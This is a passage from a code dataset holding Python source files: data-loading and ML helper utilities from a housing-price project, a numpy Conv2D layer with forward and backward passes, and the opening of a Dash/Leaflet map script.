-------\r\n    pn.Tabs()\r\n    \"\"\"\r\n    if cloud_env == \"local\":\r\n        tabs = pn.Tabs()\r\n\r\n        plts = []\r\n        for name, wdgt in figs:\r\n            if isinstance(wdgt, pd.DataFrame):\r\n                wdgt.columns = map(str, wdgt.columns)\r\n                cols = wdgt.select_dtypes(\"object\").columns.tolist()\r\n                wdgt = wdgt.transform_columns(cols, str)\r\n                wdgt = pn.widgets.DataFrame(wdgt, name=name)\r\n            plts.append((name, wdgt))\r\n\r\n        tabs.extend(plts)\r\n        return tabs\r\n    elif cloud_env == \"Databricks\":\r\n        report_dict = {}\r\n        for name, wdgt in figs:\r\n            report_dict[name] = wdgt\r\n        from tigerml.core.reports import create_report\r\n\r\n        create_report(report_dict, name=\"temp\", format=\".html\")\r\n        with open(\"temp.html\", \"r\") as f:\r\n            html_string = f.read()\r\n        return html_string\r\n    else:\r\n        raise Exception(\"Input value for cloud_env is incorrect\")\r\n\r\n\r\ndef is_relative_path(path):\r\n    \"\"\"To check if `path` is a relative path or not.\r\n\r\n    Parameters\r\n    ----------\r\n    path : str\r\n        path string to be evaluated\r\n\r\n    Returns\r\n    -------\r\n    bool\r\n        True if input path is relative else False\r\n    \"\"\"\r\n    npath = op.normpath(path)\r\n    return op.abspath(npath) != npath\r\n\r\n\r\ndef get_package_path():\r\n    \"\"\"Get the path of the current installed ta_lib package.\r\n\r\n    Returns\r\n    -------\r\n    str\r\n        path string in the current system where the ta_lib package is loaded from\r\n    \"\"\"\r\n    path = ta_lib.__path__\r\n    return op.dirname(op.abspath(path[0]))\r\n\r\n\r\ndef get_package_version():\r\n    \"\"\"Return the version of the package.\"\"\"\r\n    return ta_lib.__version__\r\n\r\n\r\ndef get_data_dir_path():\r\n    \"\"\"Fetch the data directory path.\"\"\"\r\n    return op.join(get_package_path(), \"..\", \"data\")\r\n\r\n\r\ndef get_fs_and_abs_path(path, storage_options=None):\r\n    \"\"\"Get the Filesystem and paths from a urlpath and options.\r\n\r\n    Parameters\r\n    ----------\r\n    path : string or iterable\r\n        Absolute or relative filepath, URL (may include protocols like\r\n        ``s3://``), or globstring pointing to data.\r\n    storage_options : dict, optional\r\n        Additional keywords to pass to the filesystem class.\r\n\r\n    Returns\r\n    -------\r\n    fsspec.FileSystem\r\n       Filesystem Object\r\n    list(str)\r\n        List of paths in the input path.\r\n    \"\"\"\r\n    fs, _, paths = fsspec.core.get_fs_token_paths(path, storage_options=storage_options)\r\n    if len(paths) == 1:\r\n        return fs, paths[0]\r\n    else:\r\n        return fs, paths\r\n\r\n\r\ndef load_yml(path, *, fs=None, **kwargs):\r\n    \"\"\"Load a yml file from the input `path`.\r\n\r\n    Parameters\r\n    ----------\r\n    path : string\r\n        Absolute or relative filepath, URL (may include protocols like\r\n        ``s3://``).\r\n    fs : fsspec.filesystem, optional\r\n        Filesystem of the url, by default ``None``\r\n\r\n    Returns\r\n    -------\r\n    dict\r\n        dictionery of the loaded yml file\r\n    \"\"\"\r\n    fs = fs or fsspec.filesystem(\"file\")\r\n    with fs.open(path, mode=\"r\") as fp:\r\n        return yaml.safe_load(fp, **kwargs)\r\n\r\n\r\ndef create_yml(path, config, fs=None):\r\n    \"\"\"Dump a dictionary as yaml to output `path`.\r\n\r\n    Parameters\r\n    ----------\r\n    path : string\r\n        Absolute or relative filepath, URL (may include protocols like\r\n        ``s3://``).\r\n    config: dict\r\n        config dictionary to be dumped as yaml file.\r\n    fs : fsspec.filesystem, optional\r\n        Filesystem of the url, by default ``None``\r\n    \"\"\"\r\n    fs = fs or fsspec.filesystem(\"file\")\r\n    with fs.open(path, \"w\") as out_file:\r\n        yaml.safe_dump(config, out_file, default_flow_style=False)\r\n\r\n\r\ndef load_csv(path, *, fs=None, **kwargs):\r\n    \"\"\"Load a csv file from the file system as specified in the path variable.\r\n\r\n    Parameters\r\n    ----------\r\n    path : string\r\n        Absolute or relative filepath, URL (may include protocols like\r\n        ``s3://``).\r\n    fs : fsspec.filesystem, optional\r\n        Filesystem of the url, by default ``None``\r\n\r\n    Returns\r\n    -------\r\n    pd.DataFrame\r\n        Dataframe load from the input csv path\r\n    \"\"\"\r\n    fs = fs or fsspec.filesystem(\"file\")\r\n    with fs.open(path, mode=\"r\") as fp:\r\n        return pd.read_csv(fp, **kwargs)\r\n\r\n\r\ndef load_parquet(path, *, fs=None, **kwargs):\r\n    \"\"\"Load a parquet file from the file system as specified in the path variable.\r\n\r\n    Parameters\r\n    ----------\r\n    path : string\r\n        Absolute or relative filepath, URL (may include protocols like\r\n        ``s3://``).\r\n    fs : fsspec.filesystem, optional\r\n        Filesystem of the url, by default ``None``\r\n\r\n    Returns\r\n    -------\r\n    pd.DataFrame\r\n        Dataframe load from the input parquet path\r\n    \"\"\"\r\n    fs = fs or fsspec.filesystem(\"file\")\r\n    with fs.open(path, mode=\"rb\") as fp:\r\n        # FIXME: can be pandas or spark\r\n        return pd.read_parquet(fp, **kwargs)\r\n\r\n\r\ndef save_parquet(df, path, *, fs=None, **kwargs):\r\n    \"\"\"Save a parquet file in the fs as specified in the path variable.\r\n\r\n    Parameters\r\n    ----------\r\n    path : string\r\n        Absolute or relative filepath, URL (may include protocols like\r\n        ``s3://``).\r\n    fs : fsspec.filesystem, optional\r\n        Filesystem of the url, by default ``None``\r\n\r\n    \"\"\"\r\n    fs = fs or fsspec.filesystem(\"file\")\r\n    if fs.protocol == \"file\":\r\n        # FIXME: utility functions to robustify this\r\n        fs.makedirs(op.dirname(path), exist_ok=True)\r\n\r\n    if isinstance(df, pd.Series):\r\n        df = pd.DataFrame(df)\r\n\r\n    with fs.open(path, mode=\"wb\") as fp:\r\n        # FIXME: can be pandas or spark\r\n        return df.to_parquet(fp, **kwargs)\r\n\r\n\r\ndef save_csv(df, path, *, fs=None, **kwargs):\r\n    \"\"\"Save a csv file in the fs as specified in the path variable.\r\n\r\n    Parameters\r\n    ----------\r\n    path : string\r\n        Absolute or relative filepath, URL (may include protocols like\r\n        ``s3://``).\r\n    fs : fsspec.filesystem, optional\r\n        Filesystem of the url, by default ``None``\r\n\r\n    \"\"\"\r\n    fs = fs or fsspec.filesystem(\"file\")\r\n    if fs.protocol == \"file\":\r\n        # FIXME: utility functions to robustify this\r\n        fs.makedirs(op.dirname(path), exist_ok=True)\r\n\r\n    if isinstance(df, pd.Series):\r\n        df = pd.DataFrame(df)\r\n\r\n    with fs.open(path, mode=\"wt\", newline=\"\") as fp:\r\n        # FIXME: can be pandas or spark\r\n        return df.to_csv(fp, **kwargs)\r\n\r\n\r\ndef load_data(path, *, fs=None, **kwargs):\r\n    \"\"\"Load data from the given path. type of data is inferred automatically.\r\n\r\n    ``.csv`` and ``.parquet`` are compatible now\r\n\r\n    Parameters\r\n    ----------\r\n    path : string\r\n        Absolute or relative filepath, URL (may include protocols like\r\n        ``s3://``).\r\n    fs : fsspec.filesystem, optional\r\n        Filesystem of the url, by default ``None``\r\n\r\n    Returns\r\n    -------\r\n    pd.DataFrame\r\n    \"\"\"\r\n    # FIXME: Move io utils to a separate module and make things generic\r\n    if path.endswith(\".parquet\"):\r\n        return load_parquet(path, fs=fs, **kwargs)\r\n    elif path.endswith(\".csv\"):\r\n        return load_csv(path, fs=fs, **kwargs)\r\n    else:\r\n        raise NotImplementedError()\r\n\r\n\r\ndef save_data(data, path, *, fs=None, **kwargs):\r\n    \"\"\"Save data into the given path. type of data is inferred automatically.\r\n\r\n    ``.csv`` and ``.parquet`` are compatible now\r\n\r\n    Parameters\r\n    ----------\r\n    path : string\r\n        Absolute or relative filepath, URL (may include protocols like\r\n        ``s3://``).\r\n    fs : fsspec.filesystem, optional\r\n        Filesystem of the url, by default ``None``\r\n\r\n    \"\"\"\r\n    # FIXME: Move io utils to a separate module and make things generic\r\n    if path.endswith(\".parquet\"):\r\n        return save_parquet(data, path, **kwargs)\r\n    elif path.endswith(\".csv\"):\r\n        return save_csv(data, path, **kwargs)\r\n    else:\r\n        raise NotImplementedError()\r\n\r\n\r\ndef df_to_X_y(df, target_col):\r\n    \"\"\"Create X and y training variables from the provided dataframe.\r\n\r\n    Parameters\r\n    ----------\r\n    target_col : string\r\n        column name of the dependant feature\r\n\r\n    Returns\r\n    -------\r\n    pd.DataFrame\r\n        Dataframe with only independant features\r\n    pd.DataFrame\r\n        DataFramw with only target_col\r\n\r\n    NOTE: This function creates a copy of the data.\r\n    \"\"\"\r\n    X = df.drop(target_col, axis=1)\r\n    y = df[target_col].copy()\r\n    return X, y\r\n\r\n\r\ndef initialize_random_seed(seed):\r\n    \"\"\"Initialise random seed using the input ``seed``.\r\n\r\n    Parameters\r\n    ----------\r\n    seed : int\r\n\r\n    Returns\r\n    -------\r\n    int\r\n        seed integer\r\n    \"\"\"\r\n    logger.info(f\"Initialized Random Seed : {seed}\")\r\n    random.seed(seed)\r\n    os.environ[\"PYTHONHASHSEED\"] = str(seed)\r\n    np.random.seed(seed)\r\n    return seed\r\n\r\n\r\ndef get_fsspec_storage_options(resource_type, credentials):\r\n    \"\"\"Get storage options from the credentials based on the resource type.\r\n\r\n    Parameters\r\n    ----------\r\n    resource_type : string\r\n        'aws' or 'azure' or 'local' etc.,\r\n    credentials : dict\r\n        Dictionery of the credentials\r\n\r\n    Returns\r\n    -------\r\n    dict\r\n        Dictionary of the relevant storage options\r\n\r\n    Raises\r\n    ------\r\n    NotImplementedError\r\n        Raised for all resourcetype inputs other than 'aws'\r\n    \"\"\"\r\n    if resource_type == \"aws\":\r\n        return {\r\n            \"key\": credentials[\"aws_access_key_id\"],\r\n            \"secret\": credentials[\"aws_secret_access_key\"],\r\n        }\r\n    else:\r\n        raise NotImplementedError(f\"resource type: {resource_type}\")\r\n\r\n\r\ndef setanalyse(listA, listB, simplify=True, exceptions_only=False):\r\n    \"\"\"Given two lists, returns a dictionary of set analysis.\r\n\r\n        A-B: set(A) - set(B)\r\n        B-A: set(B) - set(A)\r\n        AuB: A union B\r\n        A^B: A intersection B\r\n\r\n    Parameters\r\n    ----------\r\n    listA : list\r\n        input list 1 to be evaluated\r\n    listB : list\r\n        input list 2 to be evaluated\r\n    simplify: bool\r\n        if True, gives only len in each space False gives the entire list.\r\n    exceptions_only: False\r\n        if True, gives only A-B & B-A False gives all 4.\r\n        True is efficient while dealing with large sets or analyzing expections alone.\r\n\r\n    Returns\r\n    -------\r\n    dict\r\n        dictionery with the following keys 'A-B', 'B-A', 'A^B', 'AuB'\r\n\r\n    \"\"\"\r\n    A = set(listA)\r\n    B = set(listB)\r\n    output = {\"A-B\": A - B, \"B-A\": B - A}\r\n    if ~exceptions_only:\r\n        output[\"AuB\"] = A.union(B)\r\n        output[\"A^B\"] = A.intersection(B)\r\n    if simplify:\r\n        for key, value in output.items():\r\n            output[key] = len(value)\r\n    return output\r\n\r\n\r\ndef setanalyse_df(dfA, dfB, key_cols=None, simplify=True, exceptions_only=False):\r\n    \"\"\"Given two lists, returns a dictionary of set analysis.\r\n\r\n        A-B: set(A) - set(B)\r\n        B-A: set(B) - set(A)\r\n        AuB: A union B\r\n        A^B: A intersection B\r\n\r\n    Parameters\r\n    ----------\r\n    dfA : pd.DataFrame\r\n        input list 1 to be evaluated\r\n    dfB : pd.DataFrame\r\n        input list 2 to be evaluated\r\n    key_cols: list\r\n        list of join column names. When None, common column names are used.\r\n    simplify: bool\r\n        if True, gives only len in each space. False gives the entire list.\r\n    exceptions_only: bool\r\n        if True, gives only A-B & B-A. False gives all 4.\r\n        True is efficient while dealing with large sets or analyzing expections alone.\r\n\r\n    Returns\r\n    -------\r\n    dict\r\n        dictionery with the following keys 'A-B', 'B-A', 'A^B', 'AuB'\r\n    \"\"\"\r\n    if key_cols is None:\r\n        key_cols = list(set(dfA.columns).intersection(set(dfB.columns)))\r\n\r\n    df1 = dfA.copy()\r\n    df2 = dfB.copy()\r\n    df1[\"ind\"] = 1\r\n    df2[\"ind\"] = 1\r\n    df1 = df1.groupby(key_cols).ind.sum().reset_index()\r\n    df2 = df2.groupby(key_cols).ind.sum().reset_index()\r\n    df = df1.merge(df2, how=\"outer\", on=key_cols)\r\n    ab = df.ind_y.isnull()\r\n    ba = df.ind_x.isnull()\r\n    output = {\"A-B\": ab, \"B-A\": ba}\r\n    if ~exceptions_only:\r\n        output[\"A^B\"] = (~ab) & (~ba)\r\n        output[\"AuB\"] = True | ab\r\n    if simplify:\r\n        for key, value in output.items():\r\n            output[key] = value.sum()\r\n    else:\r\n        for key, value in output.items():\r\n            output[key] = df.loc[value, key_cols]\r\n\r\n    return output\r\n\r\n\r\ndef merge_expectations(dfA, dfB, onA, onB=None, how=\"inner\"):\r\n    \"\"\"Given merged dataframe and expectations analysis.\r\n\r\n        expectations_result: dict\r\n\r\n    Parameters\r\n    ----------\r\n    dfA : pd.DataFrame\r\n        input list 1 to be evaluated\r\n    dfB : pd.DataFrame\r\n        input list 2 to be evaluated\r\n    onA: list or column_name\r\n        list of join column names. When None, common column names are used.\r\n    onB: column_name\r\n        if dfA and dfB to be merged on different column names\r\n    how: merge_type\r\n        {‘left’, ‘right’, ‘outer’, ‘inner’, ‘cross’}\r\n\r\n    Returns\r\n    -------\r\n    expectations_result: dict\r\n\r\n    Merge Recommendations:\r\n    - Left expectations:\r\n        Template Expectations:\r\n            : B-A = 0 (Warning)\r\n            : Same data type check (Error)\r\n            : Column existance (Error)\r\n            : Nulls in - On column from A & B = 0 (Warning)\r\n    - Right expectations:\r\n        Template Expectations:\r\n            : A-B = 0 (Warning)\r\n            : Same data type check (Error)\r\n            : Column existance (Error)\r\n            : Nulls in - On column from A & B = 0 (Warning)\r\n    - Inner expectations\r\n        Template Expectations:\r\n            : B-A = 0 (Warning)\r\n            : A-B = 0 (Warning)\r\n            : Same data type check (Error)\r\n            : Column existance (Error)\r\n            : Nulls in - On column from A & B = 0 (Warning)\r\n    - Cross expectations\r\n        Template Expectations:\r\n            : Same data type check (Error)\r\n            : Column existance (Error)\r\n            : Nulls in - On column from A & B = 0 (Warning)\r\n\r\n    \"\"\"\r\n    dfb = dfB.copy()\r\n    if onB is not None:\r\n        dfb = dfb.rename({onB: onA}, axis=\"columns\")\r\n\r\n    # Set diff validation\r\n    expectations_result = setanalyse_df(\r\n        dfA, dfb, key_cols=onA, simplify=True, exceptions_only=False\r\n    )\r\n\r\n    # Data type check\r\n    data_type_match_dict = {}\r\n    data_type_match_warning = False\r\n    if type(onA) == list:\r\n        for col in onA:\r\n            data_type_match_dict[col] = dfA[col].dtypes == dfb[col].dtypes\r\n            if data_type_match_dict[col] is False:\r\n                data_type_match_warning = True\r\n    else:\r\n        data_type_match_dict[onA] = dfA[onA].dtypes == dfb[onA].dtypes\r\n        if data_type_match_dict[onA] is False:\r\n            data_type_match_warning = True\r\n\r\n    expectations_result[\"data_type_check\"] = data_type_match_dict\r\n\r\n    # None check\r\n    expectations_result[\"dfA_nulls\"] = dfA[onA].isnull().any()\r\n    expectations_result[\"dfB_nulls\"] = dfb[onA].isnull().any()\r\n\r\n    # Assertions\r\n    expect_warnings = {}\r\n    expect_warnings[\"data_type_mismatch\"] = data_type_match_warning\r\n    expect_warnings[\"nulls_warning\"] = (\r\n        expectations_result[\"dfA_nulls\"][expectations_result[\"dfA_nulls\"] is True].size\r\n        > 0\r\n    )\r\n    expect_warnings[\"nulls_warning\"] = (\r\n        expectations_result[\"dfB_nulls\"][expectations_result[\"dfB_nulls\"] is True].size\r\n        > 0\r\n    )\r\n    if how == \"left\":\r\n        expect_warnings[\"data_loss_B-A\"] = expectations_result[\"B-A\"] != 0\r\n    elif how == \"right\":\r\n        expect_warnings[\"data_loss_A-B\"] = expectations_result[\"A-B\"] != 0\r\n    elif how == \"inner\":\r\n        expect_warnings[\"data_loss_B-A\"] = expectations_result[\"B-A\"] != 0\r\n        expect_warnings[\"data_loss_A-B\"] = expectations_result[\"A-B\"] != 0\r\n    else:\r\n        pass\r\n\r\n    expectations_result[\"actionable_warnings\"] = expect_warnings\r\n    return expectations_result\r\n\r\n\r\ndef get_feature_names_from_column_transformer(col_trans):\r\n    \"\"\"Get feature names from a sklearn column transformer.\r\n\r\n    The `ColumnTransformer` class in `scikit-learn` supports taking in a\r\n    `pd.DataFrame` object and specifying `Transformer` operations on columns.\r\n    The output of the `ColumnTransformer` is a numpy array that can used and\r\n    does not contain the column names from the original dataframe. The class\r\n    provides a `get_feature_names` method for this purpose that returns the\r\n    column names corr. to the output array. Unfortunately, not all\r\n    `scikit-learn` classes provide this method (e.g. `Pipeline`) and still\r\n    being actively worked upon.\r\n    This utility function is a temporary solution until the proper fix is\r\n    available in the `scikit-learn` library.\r\n    \"\"\"\r\n    from sklearn.pipeline import Pipeline\r\n    from sklearn.impute import SimpleImputer\r\n    from sklearn.preprocessing import OneHotEncoder as skohe\r\n\r\n    # SimpleImputer has add_indicator attribute that distinguishes it from other transformers\r\n    # Encoder had get_feature_names attribute that distinguishes it from other transformers\r\n    col_name = []\r\n\r\n    for (\r\n        transformer_in_columns\r\n    ) in (\r\n        col_trans.transformers_\r\n    ):  # the last transformer is ColumnTransformer's 'remainder'\r\n        is_pipeline = 0\r\n        raw_col_name = list(transformer_in_columns[2])\r\n\r\n        if isinstance(transformer_in_columns[1], Pipeline):\r\n            # if pipeline, get the last transformer\r\n            transformer = transformer_in_columns[1].steps[-1][1]\r\n            is_pipeline = 1\r\n        else:\r\n            transformer = transformer_in_columns[1]\r\n        try:\r\n            if isinstance(transformer, str):\r\n                if transformer == \"passthrough\":\r\n                    names = col_trans._feature_names_in[raw_col_name].tolist()\r\n\r\n                elif transformer == \"drop\":\r\n                    names = []\r\n\r\n                else:\r\n                    raise RuntimeError(\r\n                        f\"Unexpected transformer action for unaccounted cols :\"\r\n                        f\"{transformer} : {raw_col_name}\"\r\n                    )\r\n\r\n            elif isinstance(transformer, skohe):\r\n                names = list(transformer.get_feature_names(raw_col_name))\r\n\r\n            elif isinstance(transformer, SimpleImputer) and transformer.add_indicator:\r\n                missing_indicator_indices = transformer.indicator_.features_\r\n                missing_indicators = [\r\n                    raw_col_name[idx] + \"_missing_flag\"\r\n                    for idx in missing_indicator_indices\r\n                ]\r\n\r\n                names = raw_col_name + missing_indicators\r\n\r\n            else:\r\n                names = list(transformer.get_feature_names())\r\n\r\n        except AttributeError:\r\n            names = raw_col_name\r\n        if is_pipeline:\r\n            names = [f\"{transformer_in_columns[0]}_{col_}\" for col_ in names]\r\n        col_name.extend(names)\r\n\r\n    return col_name\r\n\r\n\r\ndef get_dataframe(arr, feature_names):\r\n    \"\"\"Convert an an numpy array into a dataframe.\r\n\r\n    Parameters\r\n    ----------\r\n    arr : np.array\r\n        Input 2D Array\r\n    feature_names : list(string)\r\n        List of column names in the same order of the data in the array\r\n\r\n    Returns\r\n    -------\r\n    pd.DataFrame\r\n    \"\"\"\r\n    return pd.DataFrame(arr, columns=feature_names)\r\n\r\n\r\n# Pyflav utils\r\n@pf.register_dataframe_method\r\ndef add_column_from_dt(df, col, new_col, op):\r\n    \"\"\"Add a column to the input dataframe with the relevant `op` funtion applied.\r\n\r\n    Parameters\r\n    ----------\r\n    df : pd.DataFrame\r\n        Input Dataframe where the new column has to be added\r\n    col : string\r\n        Column name of the column to be transformed\r\n    new_col : string\r\n        Column name of the transformed column\r\n    op : `function`\r\n        Operator or function to be run on the `col`. this takes pd.Series as input.\r\n\r\n    Returns\r\n    -------\r\n    pd.DataFrame\r\n        DataFrame with the new column\r\n    \"\"\"\r\n    mask = ~df[col].isna()\r\n    df.loc[mask, new_col] = op(df[col][mask])\r\n    return df\r\n\r\n\r\n@pf.register_dataframe_method\r\ndef remove_duplicate_rows(df, col_names, keep_first=True):\r\n    \"\"\"Remove duplicate rows wrt to the input columns.\r\n\r\n    Parameters\r\n    ----------\r\n    df : pd.DataFrame\r\n        Input dataframe where duplicates have to be removed\r\n    col_names : list(str)\r\n        List of column names to be used as key to drop duplicates\r\n    keep_first : bool, optional\r\n        option whether to keep the first row in a set of duplicates, by default True\r\n\r\n    Returns\r\n    -------\r\n    pd.DataFrame\r\n        Datsframe with duplicates removed\r\n    \"\"\"\r\n    keep = \"first\" if keep_first else \"last\"\r\n    mask = df.duplicated(subset=col_names, keep=keep)\r\n    return df[~mask]\r\n\r\n\r\n@pf.register_dataframe_method\r\ndef passthrough(df):\r\n    \"\"\"Return the input dataframe.\"\"\"\r\n    return df\r\n\r\n\r\ndef merge_info(left_df, right_df, merge_df):\r\n    \"\"\"Get the column and row comparison summary of the provided dataframes.\r\n\r\n    The returned data is useful to quickly sanity check a merge operation by\r\n    checking the number of rows and columns.\r\n\r\n    Parameters\r\n    ----------\r\n    left_df : pd.DataFrame\r\n    right_df : pd.DataFrame\r\n    merge_df : pd.DataFrame\r\n        merged dataframe of left_df and right_df\r\n\r\n    Returns\r\n    -------\r\n    pd.DataFrame\r\n        Merge columns and rows comparison summary dataframe\r\n    \"\"\"\r\n    n_cols = [len(left_df.columns), len(right_df.columns), len(merge_df.columns)]\r\n    n_rows = [len(left_df), len(right_df), len(merge_df)]\r\n    index = [\"left_df\", \"right_df\", \"merged_df\"]\r\n    return pd.DataFrame({\"n_cols\": n_cols, \"n_rows\": n_rows}, index=index)\r\n\r\n\r\ndef custom_train_test_split(df, splitter=None, by=None):\r\n    \"\"\"Split the provided dataset using custom criteria.\r\n\r\n    The primary utility of this function is to be able to provide a custom\r\n    criteria to split the datasets.\r\n\r\n    Parameters\r\n    ----------\r\n    df: pd.DataFrame\r\n        The tabular dataset to be split.\r\n\r\n    splitter: object\r\n        The splitter object should have a method named `split` that takes\r\n        in a dataframe and a series. Any of the ``sklearn`` splitters listed\r\n        here are acceptable: https://scikit-learn.org/stable/modules/classes.html#splitter-classes  # noqa\r\n\r\n    by: str or callable\r\n        The criteria can simply be a ``column`` in the input dataframe but\r\n        can also be a ``function``. When the latter option is used, the\r\n        function should take in the input ``dataframe`` and return a series\r\n        that will then be used by the splitter object.\r\n\r\n    Returns\r\n    -------\r\n    splits: list\r\n        The list of splits generated by the splitter object.\r\n    \"\"\"\r\n\r\n    if isinstance(by, str):\r\n        split_by = df[by]\r\n    elif callable(by):\r\n        split_by = by(df)\r\n    else:\r\n        raise ValueError(\r\n            \"`by` must be a column name or a callable that returns a series\"\r\n        )\r\n    split_sets = []\r\n    for indexes in splitter.split(df, split_by):\r\n        for index in indexes:\r\n            split_sets.append(df.loc[index])\r\n    return split_sets\r\n\r\n\r\ndef load_dataframe(path):\r\n    \"\"\"Load parquet file from the `path` specified.\r\n\r\n    Parameters\r\n    ----------\r\n    path : string\r\n        urlpath for the data to be loaded\r\n\r\n    Returns\r\n    -------\r\n    pd.DataFrame\r\n    \"\"\"\r\n    df = pd.read_parquet(path).reset_index()\r\n    if \"index\" in df.columns:\r\n        df = df.drop(columns=\"index\")\r\n    return df\r\n\r\n\r\ndef load_pipeline(path):\r\n    \"\"\"Load model pipeline from the `path` specified.\r\n\r\n    Parameters\r\n    ----------\r\n    path : string\r\n        urlpath for the pipeline to be loaded\r\n\r\n    Returns\r\n    -------\r\n    pd.DataFrame\r\n    \"\"\"\r\n    return joblib.load(path)\r\n\r\n\r\ndef hash_object(obj, expensive=False, block_size=4096):\r\n    \"\"\"Return a content based hash for the input `obj`.\r\n\r\n    The returned hash value can be used to verify equality of two objects.\r\n    If the hash values of two objects are equal, then they are identical and\r\n    one can be replaced with another.\r\n\r\n    Parameters\r\n    ----------\r\n    obj: Object\r\n\r\n    Returns\r\n    -------\r\n    string\r\n    \"\"\"\r\n    hasher = hashlib.sha256()\r\n\r\n    if expensive:\r\n        with tempfile.TemporaryDirectory() as tmp_dir:\r\n            tmp_fname = op.join(tmp_dir, \"tmp.joblib\")\r\n            joblib.dump(obj, tmp_fname)\r\n            with open(tmp_fname, \"rb\") as fp:\r\n                while True:\r\n                    data = fp.read(block_size)\r\n                    if len(data) <= 0:\r\n                        break\r\n                    hasher.update(data)\r\n    else:\r\n        fp = BytesIO()\r\n        joblib.dump(obj, fp)\r\n        data = fp.getvalue()\r\n        hasher.update(data)\r\n\r\n    return hasher.hexdigest()\r\n","repo_name":"sarangunasekaran/housing-price-prediction-mle","sub_path":"src/ta_lib/core/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":29252,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"34138266253","text":"import numpy as np\n\n\nclass Conv2D:\n    def __init__(self, in_channels, out_channels, kernel_size, stride=1, padding=1):\n        self.filters = np.random.randn(\n            out_channels, in_channels, kernel_size, kernel_size\n        )\n        self.biases = np.random.randn(out_channels, 1)\n\n        self.stride = stride\n        self.padding = padding\n\n    def set_weights_biases(self, filters, biases):\n        self.filters = filters\n        self.biases = biases\n\n    def forward(self, input_data):\n        self.last_input_data = input_data\n\n        batch_size, in_channels, in_height, in_width = input_data.shape\n        out_channels, _, filter_height, filter_width = self.filters.shape\n\n        out_height = (\n            int((in_height - filter_height + 2 * self.padding) / self.stride) + 1\n        )\n        out_width = int((in_width - filter_width + 2 * self.padding) / self.stride) + 1\n\n        self.last_input_data_padded = np.pad(\n            input_data,\n            (\n                (0, 0),\n                (0, 0),\n                (self.padding, self.padding),\n                (self.padding, self.padding),\n            ),\n        )\n\n        output_data = np.zeros((batch_size, out_channels, out_height, out_width))\n\n        for c_out in range(out_channels):\n            for c_in in range(in_channels):\n                for i in range(out_height):\n                    for j in range(out_width):\n                        input_window = self.last_input_data_padded[\n                            :,\n                            c_in,\n                            i * self.stride : i * self.stride + filter_height,\n                            j * self.stride : j * self.stride + filter_width,\n                        ]\n                        filters = self.filters[c_out, c_in, :, :]\n                        gradients = input_window * filters + self.biases[c_out]\n                        output_data[:, c_out, i, j] += np.sum(gradients, axis=(1, 2))\n\n        return output_data\n\n    def backward(self, d_out):\n        batch_size, out_channels, out_height, out_width = d_out.shape\n        _, in_channels, filter_height, filter_width = self.filters.shape\n\n        d_filters = np.zeros_like(self.filters)\n        d_biases = np.zeros_like(self.biases)\n        d_input_padded = np.zeros_like(self.last_input_data_padded, dtype=float)\n\n        for c_out in range(out_channels):\n            for c_in in range(in_channels):\n                for i in range(out_height):\n                    for j in range(out_width):\n                        input_window = self.last_input_data_padded[\n                            :,\n                            c_in,\n                            i * self.stride : i * self.stride + filter_height,\n                            j * self.stride : j * self.stride + filter_width,\n                        ]\n                        gradients = input_window * d_out[:, c_out, i, j, None, None]\n                        d_filters[c_out, c_in, :, :] += np.sum(\n                            gradients, axis=(0, 1, 2)\n                        )\n                        d_biases[c_out] += np.sum(d_out[:, c_out, i, j])\n                        d_input_padded[\n                            :,\n                            c_in,\n                            i * self.stride : i * self.stride + filter_height,\n                            j * self.stride : j * self.stride + filter_width,\n                        ] += np.sum(\n                            self.filters[c_out, c_in, :, :, None, None]\n                            * d_out[:, c_out, i, j, None, None, None],\n                            axis=(1, 2),\n                        )\n\n        d_input = d_input_padded[\n            :, :, self.padding : -self.padding, self.padding : -self.padding\n        ]\n\n        return d_filters, d_biases, d_input\n\n    def update(self, d_filters, d_biases, learning_rate):\n        self.filters -= learning_rate * d_filters\n        self.biases -= learning_rate * d_biases\n","repo_name":"erik-rivas/simple_nn","sub_path":"neural_network/layers/conv2d_version3.py","file_name":"conv2d_version3.py","file_ext":"py","file_size_in_byte":3958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41092588635","text":"import dash\nimport dash_leaflet as dl\nimport dash_leaflet.express as dlx\nfrom dash import dcc, html,Input, Output, callback\nimport geopandas as gpd\nimport json\nimport numpy as np\nimport pandas as pd\nimport plotly.express as px\nimport plotly.graph_objects as go\nimport plotly.io as pio\nfrom shapely.geometry import box, Point, Polygon\nfrom dash_extensions.javascript import arrow_function, assign\nimport dash_bootstrap_components as dbc\nfrom dash_loading_spinners import Hash\nfrom pages.ranking_ambiental.bases_mapa import bsas,VAR_PUNTAJE,  classes\n\n# Establecer el renderizador predeterminado para Plotly.\npio.renderers.default = 'browser'\n\n# Agregar informacion de etiquetas\nbsas[\"tooltip\"] = bsas[\"nam\"]\n\n#Transformar a geobuf\nbsas_geojson = json.loads(bsas.to_json(na=\"keep\"))\ngeobuf = dlx.geojson_to_geobuf(bsas_geojson)\n\n# Definir colores para las clases.\ncolorscale = ['#F5BBCB', '#F2A4B6', '#EF8DA1', '#ED769C', '#EB5F87', '#E94872', '#E7315D', '#E51A48']\nstyle = dict(weight=2, opacity=1, color='white', dashArray='3', fillOpacity=0.7)\n\n# Crear colorbar.\nctg = [\"{}+\".format(cls, classes[i + 1]) for i, cls in enumerate(classes[:-1])] + [\"{}+\".format(classes[-1])]\n\n# # Barra de colores categóricos personalizada\n# colorbar = dlx.categorical_colorbar(\n#     categories=ctg,\n#     colorscale=colorscale,\n#     width=200,  # Ancho personalizado\n#     height=20,  # Altura personalizada\n#     position=\"bottomleft\",  # Posición\n# )\n\n# Lógica de representación del GeoJSON.\nstyle_handle =  assign(\"\"\"function(feature, context){\n    const {classes, colorscale, style, colorProp} = context.props.hideout;\n    const value = feature.properties[colorProp];\n    if (value === null || isNaN(value)) {\n        // Asigna color gris para observaciones sin datos\n        style.fillColor = 'rgb(128, 128, 128)';\n        style.weight = 1;\n        style.dashArray = false;\n    } else {\n        for (let i = 0; i < classes.length; ++i) {\n            if (value > classes[i]) {\n                style.fillColor = colorscale[i];\n                style.weight = 1;\n                style.dashArray = false;\n            }\n        }\n    }\n    return style;\n}\"\"\")\n\n# Crear la figura rectangular con degradé de colores\ncolor_bar = html.Div(\n    style={\n        'width': '100%',\n        'height': '25px', \n        'background': f'linear-gradient(to right, {\", \".join(colorscale)})'\n    }\n)\n\n\ncolorscale_reference = html.Div(\n    id='colorscale-reference',\n    children=[dbc.Col([\n                